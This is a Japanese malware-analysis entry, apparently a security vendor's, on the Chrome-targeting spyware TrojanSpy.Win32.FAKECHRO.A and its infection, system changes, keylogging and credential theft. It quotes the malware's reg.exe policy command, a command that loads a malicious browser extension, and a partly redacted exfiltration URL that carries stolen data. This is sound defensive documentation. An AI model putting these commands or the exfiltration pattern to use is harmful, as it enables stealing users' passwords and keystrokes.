TrojanSpy.Win32.FAKECHRO.A

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。 スパイウェアは、他のマルウェアに作成され、コンピュータに侵入します。

スパイウェアは、ワーム活動の機能を備えていません。

スパイウェアは、バックドア活動の機能を備えていません。

スパイウェアは、ユーザのキー入力操作情報を記録し、情報を収集します。

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

スパイウェアは、以下のマルウェアに作成され、コンピュータに侵入します。

• Trojan.Win32.FAKEFOLDR.AMM

インストール

スパイウェアは、以下のプロセスを追加します。

• reg.exe add HKLM\SOFTWARE\Policies\Google\Chrome /v IncognitoModeAvailability /d 1 /t REG_DWORD /f
• chromeold.exe --load-extension=%ProgramData%\f16e678e0faed084c70405f14d47bc38

(註：%ProgramData%フォルダは、マルチユーザーシステムにおいて任意のユーザがプログラムに変更を加えることができるプログラムファイルフォルダのバージョンです。これには、すべてのユーザのアプリケーションデータが含まれます。Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData" です。Windows Server 2003(32-bit)、2000(32-bit)、XPの場合、通常 "C:\Documents and Settings\All Users" です。 )

他のシステム変更

スパイウェアは、以下のファイルを削除します。

• %AppDataLocal%\Google\Chrome\User Data\Default\Cookies
• %AppDataLocal%\Google\Chrome\User Data\Default\Preferences

(註：%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

スパイウェアは、以下のレジストリ値を変更します。

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Google\Chrome
IncognitoModeAvailability = 1

(註：変更前の上記レジストリ値は、「0」となります。)

感染活動

スパイウェアは、ワーム活動の機能を備えていません。

バックドア活動

スパイウェアは、バックドア活動の機能を備えていません。

ルートキット機能

マルウェアは、ルートキット機能を備えていません

情報漏えい

スパイウェアは、以下のブラウザから、ユーザ名、パスワードやホスト名といった保存された情報を収集します。

• Google Chrome

スパイウェアは、ユーザのキー入力操作情報を記録し、情報を収集します。

情報の送信先

収集された情報は、以下のWebサイトにアップロードされます。

• http://{BLOCKED}jlcg.x10.bz/{BLOCKED}VjdG9y.php?dXJs={HostName}&cGF0aA={malware directory}&ZGF0YQ={Stolen Information}

その他

マルウェアは、脆弱性を利用した感染活動を行いません。

<補足>
侵入方法

スパイウェアは、以下のマルウェアに作成され、コンピュータに侵入します。

• Trojan.Win32.FAKEFOLDR.AMM

情報の送信先

収集された情報は、以下のWebサイトにアップロードされます。

• http://{BLOCKED}jlcg.x10.bz/{BLOCKED}VjdG9y.php?dXJs={ホスト名}&cGF0aA={マルウェアのディレクトリ}&ZGF0YQ={窃取した情報}